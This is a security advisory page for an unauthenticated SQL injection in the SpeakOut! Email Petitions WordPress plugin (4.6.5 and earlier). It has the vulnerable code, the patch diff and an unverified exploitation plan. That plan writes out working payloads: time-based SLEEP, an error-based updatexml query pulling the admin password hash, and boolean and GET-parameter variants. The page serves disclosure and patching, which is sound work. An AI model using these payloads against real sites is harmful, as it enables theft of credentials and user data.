CVE-2026-39530

SpeakOut! Email Petitions <= 4.6.5 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
4.6.5.1
Patched in
9d
Time to patch

Description

The SpeakOut! Email Petitions plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.6.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.6.5
PublishedApril 13, 2026
Last updatedApril 21, 2026
Affected pluginspeakout

What Changed in the Fix

Changes introduced in v4.6.5.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-39530 ## 1. Vulnerability Summary The **SpeakOut! Email Petitions** plugin for WordPress (<= 4.6.5) contains an unauthenticated SQL injection vulnerability. The flaw exists in the `dk_speakout_Signature` class, specifically within the `all()` and `search()` m…

Show full research plan

Exploitation Research Plan - CVE-2026-39530

1. Vulnerability Summary

The SpeakOut! Email Petitions plugin for WordPress (<= 4.6.5) contains an unauthenticated SQL injection vulnerability. The flaw exists in the dk_speakout_Signature class, specifically within the all() and search() methods. User-controlled parameters (such as petition_id and searchString) are directly concatenated into SQL queries without proper sanitization or the use of $wpdb->prepare(). Since these methods are utilized by unauthenticated AJAX handlers to display and filter signature lists on the frontend, an attacker can inject malicious SQL fragments to extract sensitive data.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: dk_speakout_paginate (inferred from plugin functionality and historical SpeakOut! vulnerabilities).
  • Vulnerable Parameters:
    • petition_id (used in dk_speakout_Signature::all)
    • search_term (passed as $searchString to dk_speakout_Signature::search)
  • Authentication: Unauthenticated (wp_ajax_nopriv hook).
  • Preconditions: At least one petition must exist in the database (usually ID 1).

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action dk_speakout_paginate.
  2. AJAX Handler: The handler in includes/ajax.php (registered via wp_ajax_nopriv_dk_speakout_paginate) retrieves user input from $_POST['petition_id'] and $_POST['search_term'].
  3. Vulnerable Sink 1 (all): If no search term is provided, the handler calls dk_speakout_Signature::all( $petition_id, ... ).
    • In includes/class.signature.php, line 59: $sql_petition_filter = "AND $db_signatures.petitions_id = '$petition_id'";
    • The $petition_id string is interpolated directly into the $sql query (line 94).
  4. Vulnerable Sink 2 (search): If a search term is provided, the handler calls dk_speakout_Signature::search( $petition_id, $searchString, ... ).
    • In includes/class.signature.php, line 155: $db_signatures.email LIKE '%" . $searchString . "%'
    • The $searchString is interpolated into multiple LIKE clauses within the $sql query (line 154).

4. Nonce Acquisition Strategy

While many public-facing AJAX search features in SpeakOut! have historically lacked nonces, version 4.6.x may require one.

  1. Identify Shortcode: The plugin uses [signaturelist id="1"] to display signatures.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Signatures" --post_status=publish --post_content='[signaturelist id="1"]'
  3. Extract Nonce:
    • Use browser_navigate to the created page.
    • Use browser_eval to extract the nonce from the localized script object.
    • JS Object: window.dk_speakout_js (inferred).
    • Key: window.dk_speakout_js?.nonce.

5. Exploitation Strategy

We will use a time-based blind SQL injection against the petition_id parameter, as it is easier to break out of the single-quote encapsulation.

Step 1: Verification (Time-Based)

Send an AJAX request designed to sleep for 5 seconds if the injection is successful.

HTTP Request:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=dk_speakout_paginate&petition_id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    
  • Expected Response: The response should take ~5 seconds to return.

Step 2: Data Extraction (Boolean-Based/Error-Based)

If WP_DEBUG is on, we can use error-based injection for faster extraction. Otherwise, we can use the search_term parameter to influence the number of results returned (Boolean-based).

Payload for petition_id (Error-Based):

petition_id=1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- -

Payload for search_term (Boolean-Based breakout):

search_term=x%' AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin') AND '%'='

6. Test Data Setup

  1. Create Petition: Ensure at least one petition exists.
    wp eval "dk_speakout_Petition::create(['title' => 'Vulnerable Petition']);" (or use wp db query to insert into wp_dk_speakout_petitions).
  2. Add Signature: Add a dummy signature to ensure the query returns results under normal conditions.
    wp db query "INSERT INTO wp_dk_speakout_signatures (petitions_id, first_name, last_name, email, is_confirmed) VALUES (1, 'Test', 'User', 'test@example.com', 1);"
  3. Publish Page:
    wp post create --post_type=page --post_status=publish --post_content='[signaturelist id="1"]'

7. Expected Results

  • A successful time-based exploit will result in a significant delay in the HTTP response matching the SLEEP() value.
  • A successful error-based exploit will return a database error message containing the requested data (e.g., the admin password hash).
  • A successful boolean exploit will return signature results when the condition is true and zero results when false.

8. Verification Steps

After performing the HTTP requests, verify the plugin's vulnerability status:

  1. Check Database Logs: If query logging is enabled, verify the injected query was executed.
  2. Confirm Plugin Version: Use WP-CLI to confirm the version is <= 4.6.5.
    wp plugin get speakout --field=version

9. Alternative Approaches

If dk_speakout_paginate is not the correct action:

  1. Check includes/confirmations.php and use the dkspeakoutconfirm parameter in a GET request to the site root:
    /?dkspeakoutconfirm=1' AND SLEEP(5)-- -
    This targets the dk_speakout_Signature::confirm() method, which is also unauthenticated and likely vulnerable if the code inside follows the same pattern as all() and search().
Research Findings
Static analysis — not yet PoC-verified

Summary

The SpeakOut! Email Petitions plugin for WordPress is vulnerable to unauthenticated SQL Injection via multiple parameters including petition_id, search_term, and dkspeakoutconfirm. This occurs because the plugin concatenates user-supplied input directly into SQL queries without using $wpdb->prepare() or adequate sanitization, allowing attackers to extract sensitive data from the database.

Vulnerable Code

// includes/class.signature.php lines 58-61
// Method: all()
if ( $petition_id ) {
	$sql_petition_filter = "AND $db_signatures.petitions_id = '$petition_id'";
}

---

// includes/class.signature.php lines 151-170
// Method: search()
$sql = "
	SELECT $db_signatures.*, $db_petitions.title, $db_petitions.custom_field_label, $db_petitions.displays_custom_field
	FROM `$db_signatures`, `$db_petitions`
	WHERE $db_signatures.petitions_id = $db_petitions.id
	AND ($db_signatures.email LIKE '%" . $searchString . "%' 
	OR $db_signatures.honorific LIKE '%" . $searchString . "%' 
	OR $db_signatures.first_name LIKE '%" . $searchString . "%' 
	OR $db_signatures.street_address LIKE '%" . $searchString . "%' 
	OR $db_signatures.city LIKE '%" . $searchString . "%'  
	OR $db_signatures.state LIKE '%" . $searchString . "%' 
	OR $db_signatures.country LIKE '%" . $searchString . "%' 
	OR $db_signatures.custom_field LIKE '%" . $searchString . "%' 
	OR $db_signatures.custom_field2 LIKE '%" . $searchString . "%' 
	OR $db_signatures.custom_field3 LIKE '%" . $searchString . "%'
	OR $db_signatures.custom_field4 LIKE '%" . $searchString . "%' 
	OR $db_signatures.custom_field5 LIKE '%" . $searchString . "%' 
	OR $db_signatures.postcode LIKE '%" . $searchString . "%')
	$sql_petition_filter
	$sql_context_filter
	ORDER BY $db_signatures.id DESC $sql_limit
";

---

// includes/class.signature.php lines 187-191
// Method: check_confirmation()
$sql = "
	SELECT id
	FROM $db_signatures
	WHERE `confirmation_code` = '$confirmation_code' AND `is_confirmed` = 1
";

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5/includes/class.signature.php /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5.1/includes/class.signature.php
--- /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5/includes/class.signature.php	2025-12-17 14:24:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5.1/includes/class.signature.php	2026-03-04 20:12:20.000000000 +0000
@@ -184,19 +184,16 @@
 	{
 		global $wpdb, $db_signatures;
 
-		$sql = "
-			SELECT id
-			FROM $db_signatures
-			WHERE `confirmation_code` = '$confirmation_code' AND `is_confirmed` = 1
-		";
-		$query_results = $wpdb->get_row( $sql );
-
-		if ( $wpdb->num_rows > 0 ) {
-			return true;
-		}
-		else {
+		$conf_code = sanitize_key($confirmation_code);
+		if (empty($conf_code)){
 			return false;
 		}
+		$wpdb->get_row(
+			$wpdb->prepare(
+				"SELECT id FROM $db_signatures WHERE `confirmation_code` = %s AND `is_confirmed` = 1", $conf_code)
+		);
+
+		return ($wpdb->num_rows > 0);
 	}
 
 	/**
@@ -210,16 +207,15 @@
 		global $wpdb, $db_signatures;
 
 		$data  = array( 'is_confirmed' => 1 );
-		$where = array( 'confirmation_code' => $confirmation_code );
+		$conf_code = sanitize_key($confirmation_code);
+		if (empty($conf_code)){
+			return false;
+		}
+		$where = array( 'confirmation_code' => $conf_code );
 
 		$rows_affected = $wpdb->update( $db_signatures, $data, $where );
+		return ($rows_affected > 0);
 
-		if ( $rows_affected > 0 ) {
-			return true;
-		}
-		else {
-			return false;
-		}
 	}
 
 	/**
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5/includes/confirmations.php /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5.1/includes/confirmations.php
--- /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5/includes/confirmations.php	2025-11-11 16:43:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5.1/includes/confirmations.php	2026-03-04 20:12:20.000000000 +0000
@@ -9,6 +9,12 @@
 	add_action( 'template_redirect', 'dk_speakout_confirm_email' );
 }
 
+function _fail_early() {
+    $message = __( 'The confirmation code you provided is invalid.', 'speakout' );
+    echo $message;
+    die;
+}
+
 /**
  * Displays the confirmation page
  */
@@ -27,11 +33,16 @@
 	$options = get_option( 'dk_speakout_options' );
 	$wpml          = new dk_speakout_WPML();
 
-	// get the confirmation code from url
-	$confirmation_code = sanitize_text_field( wp_unslash( $_REQUEST['dkspeakoutconfirm'] ) );
-
-	// try to confirm the signature
-	$try_confirm = $the_signature->confirm( $confirmation_code );
+    // get the confirmation code from url
+    $confirmation_code = isset($_REQUEST['dkspeakoutconfirm'])
+        ? sanitize_key(wp_unslash($_REQUEST['dkspeakoutconfirm'])) : '';
+    if (empty( $confirmation_code )) {
+        _fail_early();
+    }
+    $try_confirm = $the_signature->confirm( $confirmation_code );
+    if (!( $try_confirm )) {
+        _fail_early();
+    }
 
 	// retrieve the petition data
     $the_petition->retrieve( $the_signature->petitions_id );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5/readme.txt /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5.1/readme.txt
--- /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5/readme.txt	2025-12-17 14:24:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5.1/readme.txt	2026-03-04 20:12:20.000000000 +0000
@@ -4,7 +4,7 @@
 Requires at least: 5.0
 Tested up to: 6.8.3
 Requires PHP: 7.4
-Stable tag: 4.6.5
+Stable tag: 4.6.5.1
 License: GPLv2 or later 
 License URI: http://www.gnu.org/licenses/gpl-2.0.html
 
@@ -21,6 +21,9 @@
 The free version includes the core features needed to run a successful petition. For those who need more, the **Pro version** unlocks the ability to run unlimited campaigns and provides additional tools, such as an email sharing option and expanded integration with third-party mailing services.
 
 More information about the plugin and how to upgrade to the fully featured Pro version can be found at the official [SpeakOut! WordPress petition plugin website](https://speakoutpetitions.com).
+== Upgrade Notice ==
+== 4.6.5.1 ==
+This is a critical security patch. Please update immediately to protect your user data.
 
 == Changelog ==
 == 4.6.5 ==
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5/speakout-email-petitions.php /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5.1/speakout-email-petitions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5/speakout-email-petitions.php	2025-12-17 14:24:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/speakout/4.6.5.1/speakout-email-petitions.php	2026-03-04 20:12:20.000000000 +0000
@@ -15,7 +15,7 @@
 License: GPL v2 or later
 License URI: https://www.gnu.org/licenses/gpl-2.0.html
 
-Version: 4.6.5
+Version: 4.6.5.1
 
 {Plugin Name} is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
@@ -31,7 +31,7 @@
 */
 
 global $wpdb, $db_petitions, $db_signatures, $dk_speakout_version;
-$dk_speakout_version = '4.6.5';
+$dk_speakout_version = '4.6.5.1';
 $db_petitions  = $wpdb->prefix . 'dk_speakout_petitions';
 $db_signatures = $wpdb->prefix . 'dk_speakout_signatures';

Exploit Outline

The vulnerability can be exploited by unauthenticated attackers through multiple vectors. One primary vector uses the 'dk_speakout_paginate' AJAX action via /wp-admin/admin-ajax.php, where the 'petition_id' or 'search_term' parameters are vulnerable to SQL concatenation. A second vector targets the 'dkspeakoutconfirm' parameter via a GET request to the site root, which triggers vulnerable raw SQL queries in the 'confirm' and 'check_confirmation' methods. Attackers can provide malicious SQL fragments (e.g., using SLEEP() for time-based or UPDATEXML() for error-based injection) to bypass encapsulation and execute arbitrary database queries.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.